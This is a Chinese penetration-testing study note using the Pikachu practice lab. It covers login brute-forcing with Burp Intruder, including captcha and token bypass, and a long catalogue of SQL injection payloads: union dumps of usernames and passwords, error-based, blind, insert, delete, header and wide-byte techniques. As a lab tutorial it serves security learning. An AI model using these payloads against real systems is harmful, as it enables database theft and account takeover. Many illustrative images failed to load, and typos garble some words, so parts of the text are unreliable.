渗透测试总结(pikachu靶场为例,漏洞介绍、发生位置、常见危害、形成原因、代码分析、测试流程、漏洞分类及试验、防范措施)持续更新中。

. 暴力破解

  1. 漏洞介绍

“暴⼒破解”是⼀攻击⼿段,在web攻击中,⼀般会使⽤这种⼿段对应⽤系统的认证信息进⾏获取。 其过程就是使⽤⼤量的认证信息在认证接⼝进⾏尝试登录,直到得到正确的结果。 为了提⾼效率,暴⼒破解⼀般会使⽤带有字典的⼯具来进⾏⾃动化操作。

  1. 发生位置

登录接口、登录页面。

  1. 常见危害

如果我们通过信息收集阶段找到Web应用的后台登陆页面,然后通过弱口令/暴力破解登陆,那这个Web应用的信息将会全部暴露。

  1. 形成原因

理论上来说,⼤多数系统都是可以被暴⼒破解的,只要攻击者有⾜够强⼤的计算能⼒和时间,所以断定⼀个系统是否存在暴⼒破解漏洞,其条件也不是绝对的。 我们说⼀个web应⽤系统存在暴⼒破解漏洞,⼀般是指该web应⽤系统没有采⽤或者采⽤了⽐较弱的认证安全策略,导致其被暴⼒破解的“可能性”变的⽐较⾼。 这⾥的认证安全策略, 包括:

1.是否要求⽤户设置复杂的密码;

2.是否每次认证都使⽤安全的验证码(想想你买⽕车票时输的验证码~)或者⼿机otp;

3.是否对尝试登录的⾏为进⾏判断和限制(如:连续5次错误登录,进⾏账号锁定或IP地址锁定等);

4.是否采⽤了双因素认证;

  1. 代码分析
  2. 测试流程

1、确认登录接口的脆弱性

确认目标是否存在暴力破解的鼎洞(确认被压力破解的 可能性" )

比如:尝试登录抓包观察验证元素和response信息,判断否存在被过力破解的可能,

2、对字典进行优化

据实际的消况对字典进行优化,提高爆破过程的效率.

3、工具自动化控作-

配笛自动化工具(比如线程、 超时时间、 重试次数等),进行自动化操作。

字典优化技巧

根据注册信息进行优化

对目标网站进行注册,搞清楚账号密码的一些限制,比如目标站点要求密码至少6位数以上,字母数字组合,则可以按照此优化字典,比如去掉不符合规则的密码。

比如爆破的是管理后台,往往这种系统后台管理员用户名是admin,administrator,root的机率比较高,可以使用三个账号+随便一个密码,尝试登录,观察放回的结果,确定用户名。

输入“xxx/yyy”返回用户名或者密码错误;

输入“admin/yyy”返回密码错误,则基本可以确定用户名是admin

因此可以只对密码进行爆破,提高效率。

  1. 漏洞分类及试验
    1. 基于表单的暴⼒破解

直接抓包,爆破即可

1、打开火狐浏览器代理

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-KOwEoCfT-1683384727156)(media/350a3dacc1dc0c47d76c75092752a90b.jpeg)]

  1. 使用优化后的字典输入用户名和密码[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-PVfwts0l-1683384727157)(media/682970588da39cd2c6ec2e415f8a5fe1.jpeg)]
  2. 抓包,发送到Intruder

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Op9cJCXc-1683384727157)(media/252e63465f9770192a44d63719efc544.jpeg)] 4、设置攻击类型为集束炸弹

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-fOecNwsz-1683384727157)(media/f3bd83087f064b95e126136587d9e774.jpeg)]

5、添加用户名和密码为有效载荷位置

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-dA1glgfo-1683384727158)(media/27c8cba20ea4ee75406c121b9f1c4513.jpeg)]6、分别为用户名和密码导入密码字典

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-TST1Zc7Q-1683384727158)(media/b5756d0e4b4064f2892104dffc5d5ef7.jpeg)]7、添加错误提示为:username or password is not exists~

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-tqv5l2RY-1683384727158)(media/8607ba1e140d1609553ab68e462de96c.jpeg)]

  1. 攻击选项,设置为默认

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Zuinv0te-1683384727159)(media/faa8b6e398d2578b4f3b20b2cc06d8d9.jpeg)]

  1. 开始攻击
  2. 验证码绕过(on client)

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-zUtwNhcM-1683384727159)(media/44d10231698abc90a49f8e760edc928c.jpeg)]

同上,直接抓包,爆破即可。

分析前端代码,

在这⾥我们在数据包中修改了验证码,但是返回的结果没有提⽰验证码错误。

这是因为这⾥的验证码只拦截了前端的页⾯,⽽没有拦截发送的数据包,从⽽可以直接修改数据包来达到绕过验证码,

  1. 验证码绕过(on sever)

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-SOI5BN9H-1683384727159)(media/ad620117d7d147da7f88a1f3fca786af.jpeg)]

同上直接抓包即可,后台发送的验证码默认是有24分钟的有效期,所以我们有24分钟的爆破时间,但是要是后台了验证码的过期时间被设置为1分钟那么就⽆法爆破了。

这是因为验证码是存在于服务器的session⾥⾯的,⽽session默认是24分钟才会被清除。

  1. tokon防爆破

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-ySeQokyI-1683384727159)(media/a2f366052b5c280ae986a2316687ce52.jpeg)]

通过抓包,我们发现在post包的内容中,多了⼀个token的值。

在这⾥可能有⼈不知道什么是token,那么我们来了解⼀下什么是token。

什么是token?

1、Token的引⼊:Token是在客户端频繁向服务端请求数据,服务端频繁的去数据库查询⽤户名和密码并进⾏对⽐,判断⽤户名和密码正确与否,并作出相应提⽰,在这样的背景下,Token便应运⽽⽣。

2、Token的定义:Token是服务端⽣成的⼀串字符串,以作客户端进⾏请求的⼀个令牌,当第⼀次登录后,服务器⽣成⼀个Token便将此Token返回给客户端,以后客户端只需带上这个Token前来请求数据即可,⽆需再次带上⽤户名和密码。

⽤例题来⽰例:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Nq1zC9JK-1683384727160)(media/72d4521ab397ac15d5159c5e73d74a73.jpeg)]

将token设置成变量。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-yW30Csbb-1683384727160)(media/c313ef00b1485585d303623046f176b5.jpeg)]

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-6h5O407y-1683384727160)(media/ff0029a64793995cac8e362e211ee5a7.jpeg)]

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-arughLtC-1683384727161)(media/ad7c66f88f896380c9b604da937d64c2.jpeg)]

第 ⼀个变量直接导⼊字典即可,(⽬录不能有中⽂,不然⽆法导⼊)

第⼆个变量,就需要设置成上⾯的形式。

同时线程数,也需要设置成⼀个。

最后爆破即可。

  1. 防范措施

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-I7CT8AJ1-1683384727161)(media/2a80c52fc747c17acfa300ee7b651f86.jpeg)]

  1. SQL注入

测试payload总结

抓包修改

字符型

lucy’ or 1=1 #

搜索型

%xxx%’ or 1=1#

xx型

xx’) or 1=1#

order 查询列 union进行拼接

union需要猜测对应查询字段数,用order可以判断数据表有多少列,order by 按照指定的列进行排序,列不存在会报错

2 order by 1

2 union select 1,database()

2 union select 1, table_name from information_schema.tables where table_schema=‘pikachu’

2 union select 1,column_name from information_schema.columns where table_schema=‘pikachu’ and table_name=‘users’

2 union select group_concat(username) , group_concat(password) from users

lucy’ order by 5

lucy’ union select username,password from user#

报错注入

kobe’ and updatexml(1,version(),0)#

字符型注入应用:

lucy’ or 1=1 #

order 查询列 union进行拼接

报错注入

insert注入

xiaohong’ or updatexml(1,concat(0x7e,database())),0) or ’

delete

1 or updatexml(1,concat(0x7e,database()),)

布尔盲注:前端看到的要么是真,要么是假,只能通过真假判断

kobe’ and 1=1#

kobe’ and 1=2#

时间盲注

kobe’ and sleep(5)#

kobe’ and if(substr(database(),1,1))=‘a’,sleep(5),null#

暴力破解表名

kobe’ and exists(select * from aa)#

暴力破解列名

kobe’ and exists(select id from users)#

sqlmap自动化破解,破解数据库名,表名,列名,用户名密码

  1. 漏洞介绍

在owasp发布的top10排行榜里,注入漏洞一直是危害排名第一的漏洞,其中注入漏洞里面首当其冲的就是数据库注入漏洞。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Z2z8zTzu-1683384727161)(media/0c6bd633baa6537b8fd9a9ac63de2aad.jpeg)]

  1. 发生位置

与数据库有信息交互的地方。

  1. 常见危害

一个严重的SQL注入漏洞,可能会直接导致一家公司破产!

  1. 形成原因

SQL注入漏洞主要形成的原因是在数据交互中,前端的数据传入到后台处理时,没有做严格的判断,导致其传入的“数据”拼接到SQL语句中后,被当作SQL语句的一部分执行。 从而导致数据库受损(被脱裤、被删除、甚至整个服务器权限沦陷)。

  1. 代码分析
    1. 测试流程

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-ColwZwj2-1683384727162)(media/9abad44ec1f00def0f3903d745784301.jpeg)]

  1. 漏洞分类及试验

字符型注入和数字型注入的区别:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-dp5mNWUI-1683384727162)(media/a6f982814c4be1ba7ae9abbb90297860.jpeg)]

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-8jaN4hUG-1683384727162)(media/5a7e7cd48dcd955d7e9da28388f97ed8.jpeg)]

  1. 数字型注⼊

打开页⾯,可以看到对输⼊的内容进⾏了限制。

尝试随便选择⼀个数字进⾏查询,由于是 post 请求,url 没有发⽣变化。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-e91xlZw7-1683384727162)(media/7173d04d355fa609b47c8d9991dd720e.jpeg)]

⽤ burp 抓包,可以看到请求的数据。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-UdCtcb8b-1683384727163)(media/8039da249ffcd86a9eed36212935cee9.jpeg)]

发到 Repeater 模块进⾏测试,可以在 Params 处修改参数 id 的值⽐较⽅便。

已知是数字型注⼊,输⼊ 1 or 1=1 直接测试, 可以看到,页⾯将所有 id 的信息返回,所以存在数字型注⼊。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-k05FfyJl-1683384727163)(media/20cc678fe9fa2dedf62dece55ef37f45.jpeg)]

接下来⽤ order by 猜解字段数。

输⼊ 1 order by 1 ,不断增⼤ order by 后⾯的数字,到 3 的时候报错,得到字段数为 2 。再⽤union 联合注⼊爆出当前数据库(把查询语句放在 ‘2’ 的位置):

1 union select 1,database()

得到数据库名为 pikachu

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-BAkzviyZ-1683384727163)(media/63e24c12199dfe18968739df8108d3c0.jpeg)]

后⾯就是常规注⼊操作。

爆 数据库 pikachu ⾥的所有表名 (table_name):

1 union select 1, table_name from information_schema.tables where table_schema=‘pikachu’

就得到了这些表名。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-AFnNgss9-1683384727163)(media/d0492832d31ffcc19d11013e2dcc8c45.jpeg)]

选择⼀个表爆它的列名,这⾥选择 users 这个表。

爆 users 的所有列名 (column_name)

1 union select 1, column_name from information_schema.columns where table_schema=‘pikachu’ and

table_name=‘users’

得到表 users 的所有列名。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-KP0cYd9c-1683384727164)(media/9f7b3aceb216238fdd79c66038533e05.jpeg)]

最后,爆数据,这⾥选择爆 username 和 password 这两个字段的数据:

1 union select group_concat(username) , group_concat(password) from users

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-uOgtGBXt-1683384727164)(media/d49091e467b153d6d2bc3708671a9251.jpeg)]

  1. 字符型注⼊(get)

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-knSQVmxe-1683384727165)(media/5617ea0dbf7bd736eaee551226c9e4e6.jpeg)]

字符型注⼊,要注意的点是注⼊的内容是字符,并且会⽤’ ’或者 " "将输⼊的内容括起来。

此时我们假设后台的查询语句是这样的:

select 字段 from 表 where name = ’ ’

此时我们就需要将前⾯的括号闭合,将后⾯的引号注释掉注意在使⽤–来注释的时候,⼀定要打⼀个空格,或者⼀个别的字符。

MySQL 可以通过#或者–把后面的内容呢注释掉

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-dKx2Dzj6-1683384727165)(media/bfe6ec6ef500ab64fd0eb02544949348.jpeg)]

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-eVDYt4r0-1683384727165)(media/96dc8af0a8b47543cb4499b8e5a7ff5e.jpeg)]

  1. 搜索型注⼊

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-xmvgzBsV-1683384727165)(media/b533a0fcb2bf1d5627e313083dfaa0b3.jpeg)]

在看到搜索框的时候,我们就应该想到,后台的查询语句是⽤的like %%的这种模糊查询。此时就需要闭合掉前⾯的 %来构造查询。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Ykl77d0V-1683384727166)(media/0415904f91cdd7796b199ec9b49b0ca9.jpeg)]

在这⾥,我们假设后台是⽤的

select 字段 from 表 where name = like ‘ % %’

这⽤模糊查询,所以只要闭合掉钱的’%就⾏了。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-7ZpqMtQk-1683384727166)(media/1537ed5c453e1c04f3894b1146fd5300.jpeg)]

  1. xx型注⼊

可以看到闭合的语句是这样:xx’) or 1=1#

猜测后台SQL语句为:

select 字段 from 表 where name =(’ ')

拼凑注⼊总结

可以看到不管是⽤什么来进⾏注⼊,我们都需要猜测后台的注⼊点使⽤的是什么样的查询语句。我们必须通过构造相应的payload来进⾏闭合,才能达到注⼊的效果。

可以使⽤

and 1=1 这种语句来猜测payload是否注⼊到后台,并成功执⾏。

  1. union(联合)注⼊

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-kJYInbc7-1683384727166)(media/45338123a3cc99ae91a408a070d1b66e.jpeg)]

Union 需要猜测对应查询的字段数,用 order by 确认

使⽤union可以查询其他表的信息。(但是前⾯的字段数要和后⾯的字段数⼀致)可以使⽤order by 来查询前⾯有多少个字段。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-75975SI9-1683384727166)(media/250ed34e92a76c4ab452ddb390238bfe.jpeg)]

并且MySQL⽀持跨数据库查询,只需要在表名前加上库名即可(imformation_schema.tables),在这⾥前⾯是数据库,后⾯接的是表名,在使⽤union是可以实现跨数据库查询。

对information_schema这个数据库的补充:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-d3GxhdPu-1683384727167)(media/e9ecde8d6c60a31ef02256b974219758.jpeg)]

其中其中table_schema这个字段存储数据库名,table_name存储表名,column这个字段存储字段名

(可以通过column这个表查询出⼀个字段属于哪个表,表⼜属于哪个字段)

这⾥我们通过⼀个例⼦来⽰范:

第⼀步:

通过 ’ union select database(),user()#来爆出当前的表名和库名

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-lBzTeGBk-1683384727167)(media/16c6dfca41f4dbe355b43e48e75c8ed3.jpeg)]

第⼆步:

查询表名

‘ union select table_schema,table_name from information_schema.tables where table_schema=‘pikachu’#

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-9OB0jo4d-1683384727167)(media/1607d08a55a97c55bf23c9bfab21d810.jpeg)]

第三步:

查询字段名

’ union select table_name,column_name from information_schema.column where table_name=‘user’#

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-HIm1uftp-1683384727167)(media/231844709024aeddc7a239418c5518c0.jpeg)]

第四步:

得到username和password

’ union select username,password from users#

  1. 基于函数报错的SQL注⼊

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-9FOeFmvI-1683384727168)(media/3a559dd4ca2cb53137247b12d53b7cc4.jpeg)][外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-X6FKAhw6-1683384727168)(media/2266a403e79dbae8fdd8ce322b945829.jpeg)][外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-RVA37BMY-1683384727168)(media/8bcb5c38fbd8756063622066280cf42e.jpeg)][外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-lQ7jT6vz-1683384727169)(media/8965f3a5fbebf812970f5034edb3139a.jpeg)]

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-YUCwGDNz-1683384727169)(media/af917a7cbb6ae67af4906e5d933be8d8.jpeg)]

kobe’ and updatexml(1,version(),0)#

常⽤的报错函数updataxml(),extractvalue(),floor()

基于函数报错的信息获取(select/insert/update/delect)

使⽤报错函数的原因:

当报错函数在运⾏的时候传进去表达式或参数不符合它的要求时,它会报错,同时会先将传进去表达式先去执⾏⼀下,再把执⾏后的结果作为报错内容返回给页⾯。

使⽤条件:

后台没有屏蔽报错信息,并且报错信息会返回给客户端页⾯。

其中xpath这个参数错误时,会先执⾏传⼊的表达式,再作为错误信息返回。

payload:

’ and updatexml(1,concat(0x7e,version()),0)#第⼀个和第三个参数是可以⽤数字代替的。

0x7e表⽰~,是⼀个⼗六进制的编码。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-CPgPzJIW-1683384727169)(media/178029c2f97b75c48b7d44cc41aefd14.jpeg)]

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-mDSDZb2I-1683384727170)(media/078420901fea1fe970516d33c670fa4d.jpeg)]

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-WdnDcAbj-1683384727170)(media/78f0c9885b2d39e1ae3ddd55b040b879.jpeg)]

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-wN3uIK5U-1683384727170)(media/e0bf25a898e98f18ef67f150669e3fb6.jpeg)]

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-9Y2YWqdi-1683384727170)(media/2010b8546b844ae2ac9b523417a17a64.jpeg)]

详解:使⽤concat(会把传进去的参数组合成⼀个完整的字符串,然后打印出来,同时concat也可以执⾏表达式,将执⾏的结果拼成构成⼀个完整的字符串,然后输出出来)

但是,updatexml只会显⽰⼀⾏报错,此时我们就可以使⽤limit()来限制⾏数。()第⼀个参数是位置(从第⼏⾏开始),第⼆个参数是步长(从该⾏开始到第⼏⾏结束,会把⾃⼰也给算进去)

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-pxS32B87-1683384727171)(media/a9726cafce228496ac1b454b193b946e.jpeg)]

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-STlPTlGu-1683384727171)(media/349c3c1c9511da106b00b7b6acecd0a9.jpeg)]

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-9jelc7jX-1683384727171)(media/0aa239f698a1beb6c621a863f0a8f1df.jpeg)][外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-ViSizO2a-1683384727171)(media/97335073f889b0c30acee75ee2179018.jpeg)][外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-lN2KFfiN-1683384727172)(media/0b4d7f980867a5e0e2deaa8fea872368.jpeg)][外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-u2z2eQA6-1683384727172)(media/d9e5b6287c61f4d5a635120a479b8e0b.jpeg)]

eg:

(0,1)表⽰从第⼀⾏开始,到该⾏结束(表⽰第⼀⾏)

(1,1)表⽰从第⼆⾏开始,到第该⾏结束(表⽰第⼆⾏)

(2,1)表⽰从第三⾏开始,到第该⾏结束(表⽰第三⾏)

’ and updatexml(0,concat(0x7e,(select table_name from information_schema.tables where table_schema=‘pikachu’ limit 1,1)),1)#

在这⾥只能查⼀个字段,⽽不能查两个字段,否则就会查询多个字段,⽽不能显⽰⼀⾏,从⽽报错。

extractvalue():

extractvalue(0,concat(0x7e,version()))

只有两个参数,第⼀个参数是doc,第⼆个参数是xpath(错误就会报错)

floor(取整函数):

报错的条件:有concat,floor,group by

payload:

’ and (select 2 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a)#

  1. insert/updata注⼊

insert注⼊⼀般会在注册的地⽅。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-aL1EMvjA-1683384727172)(media/1da110cd0a5f9d5c0a72209fff9cc76b.jpeg)]

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-kgWPbOcg-1683384727172)(media/da7ff7ac4f91068b8a5c3ccf5633b332.jpeg)]

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-UocJlAyL-1683384727173)(media/b694597cf8ae0d89d0d0b5056fe9aca8.jpeg)][外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-SDpfTDtl-1683384727173)(media/7022a2f6d17c9660fea0bab4f6ef02bf.jpeg)][外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-QHLtWeI8-1683384727173)(media/5cd1f11b63cc504a16c4c495d4219c23.jpeg)]

insert into 表名(字段名) value(插⼊的值’(注⼊点)’)⼀般是字符型

通过使⽤or来构造payload

value(‘1’ or updatexml(1,concat(0x7e,version(),0)) or’ ')(需要闭合掉‘ ’,并且不能使⽤注释符)

payload:

’ or updatexml(0,concat(0x7e,database()),1) or ’

因为这些updata等操作不是查询,所以不能⽤union,但是可以⽤报错查询,并且是⽤or来闭合。

  1. delete注⼊

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-GBYvEFUF-1683384727173)(media/e09570f303c9abcc98cb245cb88b9373.jpeg)]

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-YXlcLyua-1683384727174)(media/7022a2f6d17c9660fea0bab4f6ef02bf.jpeg)]

在这⾥不是留⾔栏⾥注⼊,⽽是当删除内容的时候发⽣的注⼊,此时我们要使⽤bp抓包,看看是什么被删除了,然后进⾏注⼊payload:

or updatexml(0,concat(0x7e,database()),1)

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-nF8jSryn-1683384727174)(media/8a7b88ec4cae369f3c76f6fb40934992.jpeg)]

第二个函数

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-w7dos5th-1683384727174)(media/3c6202a5698572534caefcbe53f107a6.jpeg)]

第三个函数

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-6BrUXKDx-1683384727175)(media/bc4d469ae881be765802293604a2fc12.jpeg)][外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-1HmDihRb-1683384727175)(media/d4f9fc3e445fe855eecbc8abb4acf333.jpeg)]

  1. http header头注⼊

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-YKH0AMFg-1683384727175)(media/990d5c1e57d5e3ad3b0c3533b59c9a1c.jpeg)]

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-7pmxKZe5-1683384727176)(media/291e6ffae13468eb14ea9a3ee1aade4e.jpeg)][外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-tOheTAHf-1683384727176)(media/343240befaee06431cbe1a439111337f.jpeg)][外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-dlAukf46-1683384727176)(media/61676dc1cd5c74f29b68782574486e62.jpeg)]

什么是http header头注⼊:

有些时候,开发⼈员为了验证客户端头信息(⽐如常⽤的cookie验证)

或者通过http header头信息获取客户端的⼀些信息,⽐如ua,accept字段等

会对客户端的http header信息进⾏获取并使⽤SQL处理。如果此时没有进⾏防护,就会出现注⼊。

猜测后台会保存哪些header信息,从⽽来进⾏注⼊。

看看是不是使⽤insert来插⼊到数据库的。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-QOe4YjuF-1683384727176)(media/55ad6665b227b7e05161807a34052f02.jpeg)]

在这⾥我们选择的注⼊点就是ua。

  1. 基于时间和bool的注⼊

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-1DGy4lz4-1683384727178)(media/3601c52e2ba66527fcee6eb8164b188f.jpeg)]

当后台屏蔽了报错信息的时候我们在这时候,就需要利⽤盲注来实现猜字段了。

  1. 基于布尔(正确或者错误)的盲注

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-L9IBm01R-1683384727178)(media/0c5b3e27af25ffe76d69822dd0f8cbc6.jpeg)]

因为要保证前后的错误⼀致性,所以要使⽤and连接符。

eg:

当页⾯会返回正确和错误两种页⾯时,这时候就可以利⽤布尔盲注了。

payload:

lucy’ and 1=1#

可以看到,因为返回了正确的结果,所以后⾯的SQL注⼊到数据库了。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-WSOIgAgK-1683384727178)(media/af813ae158bf93969c05f3a38534f65e.jpeg)]

lucy’ and 1=2#

⽽当输⼊为and 1=2时返回的错误的页⾯。从⽽可以通过

lucy’ and ascii(substr(database(),1,1))<100#

其中database()可以换成其他的执⾏语句。

  1. 基于时间的盲注

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-CVmCYKcC-1683384727178)(media/462248f4179ca907146be176e2fd6e22.jpeg)]

因为页⾯连真假都不显⽰,所以我们只能使⽤时间来判断,是否有注⼊。

eg:

lucy’ and sleep(5)#

可以看到,这个页⾯花了5秒才发送出去,所以and后⾯的sleep函数执⾏了,从⽽确认了,存在SQL注⼊漏洞。

那么利⽤时间的延迟,我们就可以猜出数据了。

使⽤这个payload:

lucy’ and if(ascii(substr(database(),1,1))<100,sleep(3),null)#

可以实现盲注的猜字段。

(if (判断语句,成功执⾏的,失败执⾏的))

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-YoxSLSoO-1683384727179)(media/24c816708a0e529855cf8c5ab6068bf7.jpeg)]

有时间的延迟,就说明存在注⼊。

暴⼒破解表名,库名

使⽤exists()函数可以判断是否存在表名或者库名。

payload:

lucy’ and exists(select * from 表名)

通过bp抓包,再⽤bp爆破。

  1. 宽字节注⼊

1. URL转码

’ ——> %27

空格 ——> %20

#符号 ——> %23

\ ——> %5C

2. 注⼊原理:

宽字节注⼊是利⽤mysql的⼀个特性,mysql在使⽤GBK编码的时候,会认为两个字符是⼀个汉字(前⼀个ASCII码要⼤于128,才到汉字的范围)

'(%27)

PHP中编码为GBK,函数执⾏添加的是ASCII编码(添加的符号为“\”),MYSQL默认字符集是GBK等宽字节字符集。如上图所

⽰%df’被PHP转义,单引号被加上反斜杠\,变成了%df’,其中\的⼗六进制是%5C,那么现在%df’=%d%5C%27,如果程序的默认字符集是GBK等宽字节字符集,则MYSQL⽤GBK编码时,会认为%df%5C是⼀个宽字符,也就是縗,也就是说:%df\’ =

%df%5c%27=縗’,有了单引号就可以注⼊了。

就是说0x81也可以⽤来闭合注⼊ ,在0x81加上%就是⼀个宽字节注⼊符号。

GBK⽤两个字节表⽰⼀个字符,ASCii⼀个字符表⽰⼀个字节

addslashes函数会⾃动把’转义成’, 所以\会被转义成%5c,与前⾯⾃⼰输⼊的%DF拼接起来,在GBK编码后会被转义,从⽽使转义后的\失效,达到闭合效果。

宽字节

GB2312、GBK、GB18030、BIG5、Shift_JIS等这些都是常说的宽字节,实际上只有两字节。宽字节带来的安全问题主要是吃ASCII字符(⼀字节)的现象,即将两个ascii字符误认为是⼀个宽字节字符。

那么宽字节注⼊有什么⽤呢?

addslashes函数:

定义和⽤法

addslashes() 函数返回在预定义字符之前添加反斜杠的字符串。

eg:

str);

Shanghai is the “biggest” city in China.

从⽽达到转义的效果

预定义字符是:

单引号(’)

双引号(")

反斜杠(\)

NULL

提⽰:该函数可⽤于为存储在数据库中的字符串以及数据库查询语句准备字符串。

注释:默认地,PHP 对所有的 GET、POST 和 COOKIE 数据⾃动运⾏ addslashes()。所以您不应对已转义过的字符串使⽤

addslashes(),因为这样会导致双层转义。遇到这种情况时可以使⽤函数 get_magic_quotes_gpc() 进⾏检测。

如何从addslashes函数逃逸出来?

1.\前⾯再加⼀个\(或单数个),变成\ \ ',这样\被转义了,'逃出了限制

2.把\弄没(宽字节)

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-tjT8MzM2-1683384727179)(media/ff2808d50796e41bf3962eb5fc7cc832.jpeg)]

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-uyeZdA8m-1683384727180)(media/cfc8651d336217123e4514e49e5e844b.jpeg)][外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-jyihjwzR-1683384727180)(media/5dbee317cefe13fd9765fd94c18ce5b1.jpeg)][外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-DrcNfzmS-1683384727180)(media/789eb4184bd746e4684263aa779d0ee9.jpeg)]

SQLmap使用

网站需要登录,需要加入cooike

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-JLrzV1AA-1683384727181)(media/f7a9df5092996437d30ed777e72d58f6.jpeg)]

